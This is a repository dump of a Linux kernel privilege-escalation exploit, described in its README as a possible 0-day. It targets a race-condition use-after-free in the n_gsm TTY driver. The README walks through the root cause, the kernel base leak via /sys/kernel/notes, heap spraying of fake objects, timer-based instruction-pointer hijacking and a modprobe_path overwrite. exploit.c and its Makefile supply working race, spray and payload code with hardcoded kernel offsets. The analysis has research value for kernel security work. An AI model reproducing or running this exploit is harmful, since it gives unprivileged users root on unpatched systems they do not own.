├── Makefile ├── README.md ├── exploit.c ├── get_root.c ├── spray.c └── spray.h /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc exploit.c spray.c -o exploit -lfuse -no-pie 3 | gcc -o get_root get_root.c 4 | clean: 5 | rm exploit 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This appears to still be a 0-day. I had no intention of publishing this exploit before the vulnerability was patched, but a 0-day exploit was published by another researcher who found the same vulnerability, so I published my code as well. Please use this for research purposes only. 2 | 3 | # RCA 4 | - The TTY of the Linux kernel supports the GSM 07.10 multiplexing protocol. 5 | - https://docs.kernel.org/driver-api/tty/n_gsm.html 6 | - https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c 7 | - When an ioctl is requested for GSM, the following functions are executed in the kernel: 8 | 9 | [1] GSMIOC_SETCONF: Resets the configuration of GSM. 10 | 11 | [2] GSMIOC_GETCONF_DLCI: Retrieves the DLCI configuration associated with GSM. 12 | 13 | [3] GSMIOC_SETCONF_DLCI: Changes the DLCI configuration associated with GSM. 14 | 15 | 16 | ```c 17 | static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd, 18 | unsigned long arg) 19 | { 20 | ... 21 | case GSMIOC_SETCONF: 22 | if (copy_from_user(&c, (void __user *)arg, sizeof(c))) 23 | return -EFAULT; 24 | return gsm_config(gsm, &c);//[1] 25 | .... 26 | case GSMIOC_GETCONF_DLCI: 27 | if (copy_from_user(&dc, (void __user *)arg, sizeof(dc))) 28 | return -EFAULT; 29 | if (dc.channel == 0 || dc.channel >= NUM_DLCI) 30 | return -EINVAL; 31 | addr = array_index_nospec(dc.channel, NUM_DLCI); 32 | dlci = gsm->dlci[addr]; 33 | if (!dlci) { 34 | dlci = gsm_dlci_alloc(gsm, addr); 35 | if (!dlci) 36 | return -ENOMEM; 37 | } 38 | gsm_dlci_copy_config_values(dlci, &dc);//[2] 39 | if (copy_to_user((void __user *)arg, &dc, sizeof(dc))) 40 | return -EFAULT; 41 | return 0; 42 | case GSMIOC_SETCONF_DLCI: 43 | if (copy_from_user(&dc, (void __user *)arg, sizeof(dc))) 44 | return -EFAULT; 45 | if (dc.channel == 0 || dc.channel >= NUM_DLCI) 46 | return -EINVAL; 47 | addr = array_index_nospec(dc.channel, NUM_DLCI); 48 | dlci = gsm->dlci[addr]; 49 | if (!dlci) { 50 | dlci = gsm_dlci_alloc(gsm, addr); 51 | if (!dlci) 52 | return -ENOMEM; 53 | } 54 | return gsm_dlci_config(dlci, &dc, 0);//[3] 55 | default: 56 | return n_tty_ioctl_helper(tty, cmd, arg); 57 | } 58 | } 59 | ``` 60 | 61 | 62 | - Let's first examine GSMIOC_SETCONF, which changes the configuration of GSM. 63 | - 64 | [1] If the current configuration of GSM differs from the new configuration, need_restart is marked as true. 65 | 66 | [2] If need_restart is true, the current GSM is terminated through gsm_cleanup_mux. 67 | 68 | ```c 69 | static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c) 70 | { 71 | int need_close = 0; 72 | int need_restart = 0; 73 | 74 | ... 75 | if (c->mtu != gsm->mtu)//[1] 76 | need_restart = 1; 77 | 78 | /* 79 | * Close down what is needed, restart and initiate the new 80 | * configuration. On the first time there is no DLCI[0] 81 | * and closing or cleaning up is not necessary. 82 | */ 83 | if (need_close || need_restart) 84 | gsm_cleanup_mux(gsm, true);//[2] 85 | 86 | ... 87 | return 0; 88 | } 89 | ``` 90 | 91 | [1] All DLCIs owned by GSM are released through gsm_dlci_release. 92 | 93 | ```c 94 | static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc) 95 | { 96 | int i; 97 | struct gsm_dlci *dlci; 98 | struct gsm_msg *txq, *ntxq; 99 | 100 | gsm->dead = true; 101 | mutex_lock(&gsm->mutex); 102 | 103 | ... 104 | for (i = NUM_DLCI - 1; i >= 0; i--) 105 | if (gsm->dlci[i]){ 106 | gsm_dlci_release(gsm->dlci[i]);//[1] 107 | } 108 | 109 | ... 110 | } 111 | ``` 112 | - Subsequently, functions are called in the following order: 113 | - gsm_dlci_release → dlci_put → gsm_dlci_free 114 | - 115 | [1] NULL is assigned to gsm->dlci[addr] to prevent Use-After-Free (UAF). 116 | 117 | [2] Afterwards, gsm->dlci[addr] is freed using kfree. 118 | 119 | ```c 120 | static void gsm_dlci_free(struct tty_port *port) 121 | { 122 | struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port); 123 | 124 | timer_shutdown_sync(&dlci->t1); 125 | dlci->gsm->dlci[dlci->addr] = NULL;//[1] 126 | kfifo_free(&dlci->fifo); 127 | while ((dlci->skb = skb_dequeue(&dlci->skb_list))) 128 | dev_kfree_skb(dlci->skb); 129 | kfree(dlci);//[2] 130 | 131 | } 132 | ``` 133 | 134 | 135 | ### GSMIOC_SETCONF_DLCI 136 | 137 | - Let's examine GSMIOC_SETCONF_DLCI, which changes the configuration values of a DLCI owned by GSM. 138 | - 139 | [1] Reads the DLCI configuration, including the address (addr), from the user. 140 | 141 | [2] References gsm->dlci[addr]. 142 | 143 | [3] Calls gsm_dlci_config to change the configuration of the DLCI. 144 | 145 | 146 | 147 | ```c 148 | static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd, 149 | unsigned long arg) 150 | { 151 | ... 152 | case GSMIOC_SETCONF_DLCI: 153 | if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1] 154 | return -EFAULT; 155 | if (dc.channel == 0 || dc.channel >= NUM_DLCI) 156 | return -EINVAL; 157 | addr = array_index_nospec(dc.channel, NUM_DLCI); 158 | dlci = gsm->dlci[addr];//[2] 159 | if (!dlci) { 160 | dlci = gsm_dlci_alloc(gsm, addr); 161 | if (!dlci) 162 | return -ENOMEM; 163 | } 164 | return gsm_dlci_config(dlci, &dc, 0);//[3] 165 | ... 166 | } 167 | ``` 168 | 169 | 170 | [1] Sets need_open to true based on the options passed by the user. 171 | 172 | [2] Waits until dlci->state becomes DLCI_CLOSED. 173 | 174 | [3] If only gsm->initiator is true, the gsm_dlci_begin_open function is called to restart the DLCI. 175 | 176 | ```c 177 | static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open) 178 | { 179 | struct gsm_mux *gsm; 180 | bool need_restart = false; 181 | bool need_open = false; 182 | unsigned int i; 183 | 184 | ... 185 | if (dc->flags & GSM_FL_RESTART) 186 | need_restart = true; 187 | 188 | if ((open && gsm->wait_config) || need_restart)//[1] 189 | need_open = true; 190 | if (dlci->state == DLCI_WAITING_CONFIG) { 191 | need_restart = false; 192 | need_open = true; 193 | } 194 | 195 | /* 196 | * Close down what is needed, restart and initiate the new 197 | * configuration. 198 | */ 199 | if (need_restart) { 200 | gsm_dlci_begin_close(dlci); 201 | wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2] 202 | if (signal_pending(current)) 203 | return -EINTR; 204 | } 205 | ... 206 | if (need_open) { 207 | if (gsm->initiator) 208 | gsm_dlci_begin_open(dlci);//[3] 209 | else 210 | gsm_dlci_set_opening(dlci); 211 | } 212 | 213 | return 0; 214 | } 215 | ``` 216 | ## vulnerability 217 | [1] Accesses gsm->dlci without a lock. 218 | 219 | [1] gsm_dlci_config accesses dlci. If gsm_cleanup_mux has been called due to GSMIOC_SETCONF, a race condition can lead to Use-After-Free (UAF). 220 | 221 | - Under normal circumstances, the condition is met within a very short time, and wakeup is called. 222 | - If UAF occurs, unless a different IOCTL is requested from the user level to call the wakeup routine, it enters an infinite wait. 223 | - Therefore, an attacker can determine whether UAF has been triggered by measuring the duration until the IOCTL completes. 224 | 225 | ```c 226 | static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open) 227 | { 228 | ... 229 | /* 230 | * Close down what is needed, restart and initiate the new 231 | * configuration. 232 | */ 233 | if (need_restart) { 234 | gsm_dlci_begin_close(dlci); 235 | wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1] 236 | if (signal_pending(current)) 237 | return -EINTR; 238 | } 239 | ... 240 | ``` 241 | 242 | 243 | - During the wait in wait_event_interruptible, GSM is restarted by threadFunction2. 244 | - The DLCI referenced by GSM is kfreed, and the DLCI referenced by wait_event_interruptible is also kfreed. 245 | - In such a scenario, since the IOCTL takes a long time to complete, it's easy to detect from the user space that Use-After-Free (UAF) has occurred. 246 | 247 | ## Leak Kernel Base 248 | - The address of the kernel's hypercall_page is written in /sys/kernel/notes, which is readable by regular users. Therefore, an attacker can read this file to leak the kernel base. 249 | 250 | ```c 251 | unsigned long get_kernel_base(){ 252 | const char *filePath = "/sys/kernel/notes"; 253 | const char pattern[] = "Xen\\x00"; 254 | FILE *file; 255 | uint8_t buffer[1024]; 256 | size_t bytesRead; 257 | int found = 0; 258 | 259 | file = fopen(filePath, "rb"); 260 | if (!file) { 261 | perror("File open failed"); 262 | return EXIT_FAILURE; 263 | } 264 | int count = 0; 265 | unsigned long hypercall_page=0; 266 | while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) { 267 | for (int i = 0; i < bytesRead - sizeof(pattern); ++i) { 268 | if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) { 269 | if (i + sizeof(pattern) - 1 + 8 <= bytesRead) { 270 | uint64_t value; 271 | memcpy(&value, buffer + i + sizeof(pattern) - 1, 8); 272 | if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){ 273 | hypercall_page=value; 274 | break; 275 | } 276 | } 277 | } 278 | } 279 | } 280 | if(hypercall_page==0){ 281 | printf("fail to get hypercall_page\\n"); 282 | exit(1); 283 | } 284 | kernel_base = hypercall_page - 0x1119000; 285 | modprobe_path = kernel_base + 0x23d8960; 286 | kernfs_pr_cont_buf = kernel_base +0x3910d00; 287 | __rb_free_aux = kernel_base + 0x37ac90; 288 | perf_aux_output_end = kernel_base + 0x37bf20; 289 | 290 | printf("hypercall_page: 0x%lx\\n", hypercall_page); 291 | printf("kernel_base = 0x%lx\\n",kernel_base); 292 | printf("modprobe_path = 0x%lx\\n",modprobe_path); 293 | printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux); 294 | printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf); 295 | 296 | fclose(file); 297 | return EXIT_SUCCESS; 298 | } 299 | ``` 300 | 301 | 302 | 303 | ## Writing at Kernel Area 304 | To determine the address of our fake struct gsm_mux, we use a global static buffer to store it. By leveraging iptables to add an invalid cgroup filter, the buffer kernfs_pr_cont_buf gets populated with our payload data. This process requires adjustments. 305 | ### Spraying Fake gsm_dlci Object 306 | - To create a fake dlci, we use setxattr to spray data that fits into the kmalloc-1k cache. 307 | - At this juncture, the part of dlci corresponding to dlci->state must be set to DLCI_CLOSED to exit from wait_event_interruptible. 308 | - 309 | [1] From this point onwards, the values of each member of dlci can be controlled by the attacker. 310 | 311 | [2] dlci->gsm can be set to a pointer controlled by the attacker. Thus, gsm->mtu reads values from an arbitrary pointer. This setup allows dlci->mtu to be read using gsm_dlci_copy_config_values, enabling Kernel Address Read Arbitrary (AAR), although it is not used in this exploit. 312 | 313 | [3] All values of the dlci passed as arguments to gsm_dlci_begin_open can be controlled by the attacker. This should be kept in mind when reviewing the following code. 314 | 315 | 316 | 317 | ```c 318 | static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open) 319 | { 320 | ... 321 | if (need_restart) { 322 | gsm_dlci_begin_close(dlci); 323 | wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1] 324 | if (signal_pending(current)) 325 | return -EINTR; 326 | } 327 | /* 328 | * Setup the new configuration values 329 | */ 330 | dlci->adaption = (int)dc->adaption; 331 | 332 | if (dc->mtu) 333 | dlci->mtu = (unsigned int)dc->mtu; 334 | else 335 | dlci->mtu = gsm->mtu;//[2] 336 | 337 | if (dc->priority) 338 | dlci->prio = (u8)dc->priority; 339 | else 340 | dlci->prio = roundup(dlci->addr + 1, 8) - 1; 341 | 342 | if (dc->i == 1) 343 | dlci->ftype = UIH; 344 | else if (dc->i == 2) 345 | dlci->ftype = UI; 346 | 347 | if (dc->k) 348 | dlci->k = (u8)dc->k; 349 | else 350 | dlci->k = gsm->k; 351 | 352 | if (need_open) { 353 | if (gsm->initiator) 354 | gsm_dlci_begin_open(dlci);//[3] 355 | else 356 | gsm_dlci_set_opening(dlci); 357 | } 358 | 359 | return 0; 360 | } 361 | ``` 362 | ### Fake Object to RIP Hijacking 363 | 364 | [1] The functions are called in the sequence of gsm_dlci_negotiate → gsm_control_command → gsm_data_queue → __gsm_data_queue. In __gsm_data_queue, the message is composed based on the value of dlci->gsm->dlci[0]. To avoid crashes, it's necessary to appropriately set the values of dlci->gsm->dlci[0], but as this doesn't directly relate to the exploit, detailed explanations will be omitted. 365 | 366 | [2] The timer is set using dlci->t1. 367 | 368 | ```c 369 | static void gsm_dlci_begin_open(struct gsm_dlci *dlci) 370 | { 371 | struct gsm_mux *gsm = dlci ? dlci->gsm : NULL; 372 | bool need_pn = false; 373 | 374 | if (!gsm) 375 | return; 376 | 377 | if (dlci->addr != 0) { 378 | if (gsm->adaption != 1 || gsm->adaption != dlci->adaption) 379 | need_pn = true; 380 | if (dlci->prio != (roundup(dlci->addr + 1, 8) - 1)) 381 | need_pn = true; 382 | if (gsm->ftype != dlci->ftype) 383 | need_pn = true; 384 | } 385 | 386 | switch (dlci->state) { 387 | case DLCI_CLOSED: 388 | case DLCI_WAITING_CONFIG: 389 | case DLCI_CLOSING: 390 | dlci->retries = gsm->n2; 391 | if (!need_pn) { 392 | dlci->state = DLCI_OPENING; 393 | gsm_command(gsm, dlci->addr, SABM|PF); 394 | } else { 395 | /* Configure DLCI before setup */ 396 | dlci->state = DLCI_CONFIGURE; 397 | if (gsm_dlci_negotiate(dlci) != 0) {//[1] 398 | gsm_dlci_close(dlci); 399 | return; 400 | } 401 | } 402 | mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100);//[2] 403 | break; 404 | default: 405 | break; 406 | } 407 | } 408 | ``` 409 | 410 | - When looking at the timer_list, the type of the first argument to mod_timer, it includes: 411 | 412 | [1] The amount of time until the timer triggers. 413 | 414 | [2] The function that will be executed when the timer triggers. 415 | 416 | - Therefore, by setting dlci->t1.expires to a short duration, dlci->t1.function will be called almost immediately. Through this, an attacker can hijack the RIP (Return Instruction Pointer). 417 | 418 | 419 | ### Rip Hijacking to AAW 420 | 421 | 422 | [1] When calling timer_base->function, the first argument used is the timer_base itself. 423 | 424 | - In this case, since timer_base is dlci->t1, the vicinity of it (how much exactly is to be determined) is addressable by the attacker to set values. 425 | ```c 426 | static void expire_timers(struct timer_base *base, struct hlist_head *head) 427 | { 428 | ... 429 | 430 | while (!hlist_empty(head)) { 431 | struct timer_list *timer; 432 | void (*fn)(struct timer_list *); 433 | ... 434 | fn = timer->function; 435 | ... 436 | if (timer->flags & TIMER_IRQSAFE) { 437 | raw_spin_unlock(&base->lock); 438 | call_timer_fn(timer, fn, baseclk);//[1] 439 | raw_spin_lock(&base->lock); 440 | base->running_timer = NULL; 441 | } else { 442 | ... 443 | } 444 | } 445 | } 446 | ``` 447 | 448 | - First, we call __rb_free_aux. 449 | 450 | [1] In __rb_free_aux, the first argument is referenced to obtain a function pointer and the first argument for that function. We can set the first argument to an arbitrary pointer, allowing us to call any function. 451 | - __rb_free_aux is manipulated to call perf_aux_output_end. 452 | 453 | ```c 454 | static void __rb_free_aux(struct perf_buffer *rb) 455 | { 456 | int pg; 457 | 458 | /* 459 | * Should never happen, the last reference should be dropped from 460 | * perf_mmap_close() path, which first stops aux transactions (which 461 | * in turn are the atomic holders of aux_refcount) and then does the 462 | * last rb_free_aux(). 463 | */ 464 | WARN_ON_ONCE(in_atomic()); 465 | 466 | if (rb->aux_priv) { 467 | rb->free_aux(rb->aux_priv);//[1] 468 | rb->free_aux = NULL; 469 | rb->aux_priv = NULL; 470 | } 471 | 472 | if (rb->aux_nr_pages) { 473 | for (pg = 0; pg < rb->aux_nr_pages; pg++) 474 | rb_free_aux_page(rb, pg); 475 | 476 | kfree(rb->aux_pages); 477 | rb->aux_nr_pages = 0; 478 | } 479 | } 480 | ``` 481 | 482 | [1] The first argument, handle, is used to retrieve rb. 483 | 484 | [2] rb is dereferenced twice to place rb->aux_head at the pointed location. Therefore, rb->aux_head is written to the address set in rb->user_page. Through this, the attacker can achieve Arbitrary Address Write (AAW). 485 | 486 | ```c 487 | void perf_aux_output_end (struct perf_output_handle *handle, unsigned long size) 488 | { 489 | bool wakeup = !!(handle->aux_flags & PERF_AUX_FLAG_TRUNCATED); 490 | struct perf_buffer *rb = handle->rb;//[1] 491 | unsigned long aux_head; 492 | ... 493 | WRITE_ONCE(rb->user_page->aux_head, rb->aux_head);//[2] 494 | ... 495 | } 496 | ``` 497 | 498 | ### AAW to root 499 | Afterward, the well-known modprobe_path technique is used. Since we have the capability to write 8 bytes to an arbitrary address, we can set modprobe_path to /tmp/b. 500 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include "spray.h" 37 | struct gsm_dlci_config { 38 | __u32 channel; 39 | __u32 adaption; 40 | __u32 mtu; 41 | __u32 priority; 42 | __u32 i; 43 | __u32 k; 44 | __u32 flags; 45 | __u32 reserved[7]; 46 | }; 47 | #define GSMIOC_GETCONF_DLCI _IOWR('G', 7, struct gsm_dlci_config) 48 | #define GSMIOC_SETCONF_DLCI _IOW('G', 8, struct gsm_dlci_config) 49 | void die(char * message){ 50 | printf("DIE : %s\n",message); 51 | exit(1); 52 | } 53 | static void set_core(int core) 54 | { 55 | cpu_set_t set; 56 | 57 | CPU_ZERO(&set); 58 | CPU_SET(core, &set); 59 | 60 | if(sched_setaffinity(0, sizeof(set), &set)) die("sched_setaffinity failed, too few cores?"); 61 | } 62 | 63 | 64 | // prepare payload 65 | 66 | 67 | unsigned long kernel_base = 0; 68 | unsigned long modprobe_path = 0 ; 69 | unsigned long kernfs_pr_cont_buf = 0; 70 | unsigned long __rb_free_aux = 0 ; 71 | unsigned long perf_aux_output_end = 0; 72 | static void prepare_smap_bypass(char *payload) 73 | { 74 | pid_t pid; 75 | int fd; 76 | char buf[128]; 77 | int a[2]; 78 | int b[2]; 79 | char c; 80 | char path[128]; 81 | 82 | if(pipe(a) < 0) die("pipe"); 83 | if(pipe(b) < 0) die("pipe"); 84 | 85 | pid = fork(); 86 | 87 | if(pid < 0) die("fork"); 88 | 89 | if(pid == 0) 90 | { 91 | unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET); 92 | 93 | write(a[1], &c, 1); 94 | read(b[0], &c, 1); 95 | 96 | system("mount -t tmpfs tmpfs /run"); 97 | 98 | fd = open("/dev/null", O_RDONLY); 99 | if(fd < 0) die("open"); 100 | 101 | if(dup2(fd, 2) < 0) die("dup2"); 102 | 103 | execl("/usr/sbin/iptables", "iptables", "-A", "OUTPUT", "-m", "cgroup", "--path", payload, "-j", "LOG", NULL); 104 | exit(1); 105 | } 106 | 107 | read(a[0], &c, 1); 108 | 109 | snprintf(path, sizeof path, "/proc/%u/setgroups", pid); 110 | 111 | fd = open(path, O_RDWR); 112 | if(!fd) die("open"); 113 | 114 | strcpy(buf, "deny"); 115 | 116 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 117 | close(fd); 118 | 119 | snprintf(path, sizeof path, "/proc/%u/uid_map", pid); 120 | 121 | fd = open(path, O_RDWR); 122 | if(fd < 0) die("open"); 123 | 124 | snprintf(buf, sizeof buf, "0 %d 1", getuid()); 125 | 126 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 127 | close(fd); 128 | 129 | snprintf(path, sizeof path, "/proc/%u/gid_map", pid); 130 | 131 | fd = open(path, O_RDWR); 132 | if(fd < 0) die("open"); 133 | 134 | snprintf(buf, sizeof buf, "0 %d 1", getgid()); 135 | 136 | if(write(fd, buf, strlen(buf)) != strlen(buf)) die("write"); 137 | close(fd); 138 | 139 | write(b[1], &c, 1); 140 | 141 | close(a[0]); 142 | close(a[1]); 143 | close(b[0]); 144 | close(b[1]); 145 | 146 | wait(NULL); 147 | } 148 | 149 | 150 | 151 | void set_payload(char * payload, size_t size){ 152 | 153 | //printf("try to setup kernfs_pr_cont_buf\n"); 154 | char * tmp = malloc(size); 155 | for(int i = 0 ;i0; i--){ 164 | if(payload[i]==0){ 165 | tmp[i]=0; 166 | prepare_smap_bypass(tmp); 167 | } 168 | } 169 | free(tmp); 170 | } 171 | // exploit 172 | 173 | static struct gsm_config gsm_conf; 174 | int master_fd,slave_fd; 175 | 176 | 177 | bool g_success = false; 178 | 179 | 180 | void RaceFunction2(void *); 181 | void uaf_success(){ 182 | 183 | //printf("uaf success. Let's try\n"); 184 | 185 | g_success =true; 186 | spray_do(); 187 | //printf("spray start %d\n",get_spray()); 188 | sleep(2); 189 | //printf("mabye spray done\n"); 190 | 191 | 192 | //printf("wakeup start\n"); 193 | gsm_conf.initiator=1; 194 | ioctl(slave_fd, GSMIOC_SETCONF, &gsm_conf); 195 | close(slave_fd); 196 | //printf("wakeup done\n"); 197 | sleep(30); 198 | spray_free(); 199 | //printf("spray freed\n"); 200 | exit(1); 201 | } 202 | 203 | void RaceFunction(void *){ 204 | set_core(0); 205 | 206 | signal(SIGALRM, uaf_success); 207 | 208 | int l_slave = slave_fd; 209 | 210 | static struct gsm_dlci_config dlci_config; 211 | memset(&dlci_config,0,sizeof(struct gsm_dlci_config)); 212 | dlci_config.channel = 2; 213 | dlci_config.flags &= 1; 214 | 215 | if(ioctl(l_slave, GSMIOC_GETCONF_DLCI, &dlci_config)) die("set dlci conf\n"); 216 | dlci_config.mtu=8; 217 | while(true){ 218 | if(g_success){ 219 | alarm(0); 220 | sleep(30); 221 | exit(1); 222 | } 223 | alarm(5); 224 | ioctl(l_slave, GSMIOC_SETCONF_DLCI, &dlci_config); 225 | alarm(0); 226 | } 227 | } 228 | 229 | void RaceFunction2(void *){ 230 | set_core(1); 231 | while(1){ 232 | gsm_conf.mtu^=0x20; 233 | ioctl(slave_fd, GSMIOC_SETCONF, &gsm_conf); 234 | } 235 | } 236 | #define NUM_THREADS 10 237 | static void setup_tty() 238 | { 239 | char *pts; 240 | int arg; 241 | int status; 242 | pthread_t threadID; 243 | 244 | spray_init_fuse_fs(); 245 | size_t spray_size = 0x400; 246 | unsigned long * spray_buffer = malloc(spray_size); 247 | unsigned int * i_spray_buffer = spray_buffer; 248 | unsigned char * c_spray_buffer = spray_buffer; 249 | //fake gsm_dlci 250 | 251 | memset(spray_buffer,'\xde',spray_size); 252 | //gsm 253 | spray_buffer[0] = kernfs_pr_cont_buf;//0 254 | //status 255 | i_spray_buffer[3] = 0;//0x3 256 | 257 | 258 | //dlci->t1->function->entry->next 259 | spray_buffer[7] = 0xdeadbeef11223344;//0x38 260 | //gsm->dlci[0]->gsm->kick_timer->entry->pprev 261 | spray_buffer[8] = 0;//0x40 262 | 263 | spray_buffer[9] = 4294943360;//0x48 264 | 265 | //dlci->t1->function 266 | spray_buffer[10] = __rb_free_aux;//0x50 267 | spray_buffer[11] = 1;//0x58 268 | 269 | 270 | //__rb_free_aux in rb->free_aux => first pivot 271 | 272 | spray_buffer[0xb0/8 + 7 /*timer start offset*/] = 0; 273 | spray_buffer[0xC8/8 + 7 /*timer start offset*/] = perf_aux_output_end; 274 | 275 | spray_buffer[0xE0/8 + 7 /*timer start offset*/] = kernfs_pr_cont_buf + 0xf0; // __rb_free_aux in rb->aux_priv 276 | 277 | 278 | //ftype 279 | c_spray_buffer[0x20e] = 0xef; // switch (msg->ctrl & ~PF) bypass 280 | //printf("spraying setup\n"); 281 | 282 | 283 | system("mkdir /tmp/foo/ 2>/dev/null && touch /tmp/foo/1"); 284 | int try = 0; 285 | spray_setup((char * )spray_buffer,spray_size,5000); 286 | 287 | 288 | // set up sploit mux 289 | master_fd = open("/dev/ptmx", O_RDWR|O_CLOEXEC); 290 | if(master_fd < 0) die("open"); 291 | 292 | if(grantpt(master_fd)) die("grantpt"); 293 | if(unlockpt(master_fd)) die("unlockpt"); 294 | 295 | pts = ptsname(master_fd); 296 | if(!pts) die("ptsname"); 297 | 298 | slave_fd = open(pts, O_RDWR|O_CLOEXEC); 299 | 300 | if(slave_fd < 0) die("open"); 301 | 302 | arg = N_GSM0710; 303 | if(ioctl(slave_fd, TIOCSETD, &arg)) die("ioctl"); 304 | 305 | if(ioctl(slave_fd, GSMIOC_GETCONF, &gsm_conf)) die("getconf"); 306 | 307 | gsm_conf.t2 = 2000; 308 | gsm_conf.t1 = 1; 309 | gsm_conf.n2 = 3; 310 | 311 | status = pthread_create(&threadID, NULL,(void *(*) (void *)) RaceFunction2, NULL); 312 | if (status != 0) { 313 | printf("Cannot create thread: %d\n", status); 314 | exit(1); 315 | } 316 | 317 | //printf("spawn race thread\n"); 318 | for(int i =0 ;i 0 && !found) { 345 | for (int i = 0; i < bytesRead - sizeof(pattern); ++i) { 346 | if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) { 347 | if (i + sizeof(pattern) - 1 + 8 <= bytesRead) { 348 | uint64_t value; 349 | memcpy(&value, buffer + i + sizeof(pattern) - 1, 8); 350 | if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){ 351 | hypercall_page=value; 352 | break; 353 | } 354 | } 355 | } 356 | } 357 | } 358 | if(hypercall_page==0){ 359 | printf("fail to get hypercall_page\n"); 360 | exit(1); 361 | } 362 | kernel_base = hypercall_page - 0x1119000; 363 | modprobe_path = kernel_base + 0x23d8960; 364 | kernfs_pr_cont_buf = kernel_base +0x3910d00; 365 | __rb_free_aux = kernel_base + 0x37ac90; 366 | perf_aux_output_end = kernel_base + 0x37bf20; 367 | /* 368 | printf("hypercall_page: 0x%lx\n", hypercall_page); 369 | printf("kernel_base = 0x%lx\n",kernel_base); 370 | printf("modprobe_path = 0x%lx\n",modprobe_path); 371 | printf("__rb_free_aux = 0x%lx\n",__rb_free_aux); 372 | printf("kernfs_pr_cont_buf = 0x%lx\n",kernfs_pr_cont_buf); 373 | */ 374 | fclose(file); 375 | return EXIT_SUCCESS; 376 | } 377 | 378 | void main(){ 379 | system("echo '\xff\xff\xff\xff' > /tmp/dummy"); 380 | system("chmod +x /tmp/dummy"); 381 | get_kernel_base(); 382 | int status = 0; 383 | system("cp ./get_root /tmp/b"); 384 | system("chmod +x /tmp/b"); 385 | long * payload = malloc(0x200); 386 | memset(payload,'\x00',0x200); 387 | //gsm->tx_work 388 | payload[0x50/8] = 0xdeadbeefdeadbeef; 389 | //gsm->dlci[0] 390 | payload[0xb8/8] = kernfs_pr_cont_buf; 391 | 392 | 393 | //gsm->dlci[0]->gsm 394 | payload[0/8] = kernfs_pr_cont_buf - 0x220; 395 | 396 | //gsm->dlci[0]->gsm->tx_lock 397 | payload[(0x2c0-0x220)/8]=0; // 0xa0 398 | 399 | //gsm->dlci[0]->gsm->tx_data_list 400 | //collision with stack pivot 401 | payload[(0x2d0-0x220)/8]= kernfs_pr_cont_buf+0x300; // 0xb0 402 | 403 | 404 | //gsm->dlci[0]->gsm->tx_ctrl_list 405 | payload[(0x2e0-0x220)/8] = kernfs_pr_cont_buf+0x300; //0xc0 406 | 407 | 408 | 409 | //gsm->dlci[0]->gsm->kick_timer 0xc8 410 | //gsm->dlci[0]->gsm->kick_timer->entry->next 411 | payload[(0x2e8-0x220)/8] = 0xdeadbeef1234567;//0xc8 412 | //gsm->dlci[0]->gsm->kick_timer->entry->prev 413 | payload[(0x2e8-0x220 + 8)/8] = 0;//0xd0 414 | //gsm->dlci[0]->gsm->kick_timer->expire 415 | payload[(0x2e8-0x220 + 0x10)/8] = 4294943360;//0xd8 416 | 417 | //gsm->dlci[0]->gsm->kick_timer->function 418 | 419 | 420 | payload[(0x2e8-0x220 + 0x18)/8] = 0; //0xe0 do not trigger timer 421 | 422 | //gsm->dlci[0]->gsm->kick_timer->flags 423 | payload[(0x2e8-0x220 + 0x20)/8] = 1; // 0xe8 424 | //gsm->dlci[0]->gsm->t1 425 | payload[(0x388-0x220)/8] = 4294943360; // 0x168 426 | 427 | 428 | //fake perf_output_handle 0xf0~0x120 429 | // 8 : rb 430 | // 32 : aux_flags 431 | int idx = 0xf0/8; 432 | payload[idx++] = kernfs_pr_cont_buf+0x3000; //0 -> event 433 | payload[idx++] = kernfs_pr_cont_buf+0x100;//0x8 -> rb 434 | payload[idx++] = 0xdeadbeef1;//0x10 && rb->refcount 435 | payload[idx++] = 0xdeadbeef2;//0x18 436 | payload[idx++] = 0;//0x20 -> aux_flags 437 | payload[idx++] = 0x622f706d742f;//0x28 //AAW value ??? why? 438 | payload[idx++] = 0xdeadbeef4;// 439 | 440 | //fake rb 441 | 442 | payload[(0x100+0x90)/8] = 0x123123123; // rb->aux_head. write value... why it does not work 443 | payload[(0x100+0xb0)/8] = 0xffffffff00000000; // rb->aux_overwrite 0xb4 444 | payload[(0x100+0xe8)/8] = modprobe_path-0x420; // rb->user_page. write address 445 | payload[(0x100+0xd0)/8] = 0x123; // rb->aux_refcount 446 | 447 | 448 | // dot not use 0x168!! it is gsm->t1 449 | 450 | set_payload(payload,0x200); 451 | 452 | 453 | 454 | if(fork()==0){ 455 | setup_tty(); 456 | } 457 | //wait for exploit 458 | sleep(20); 459 | 460 | 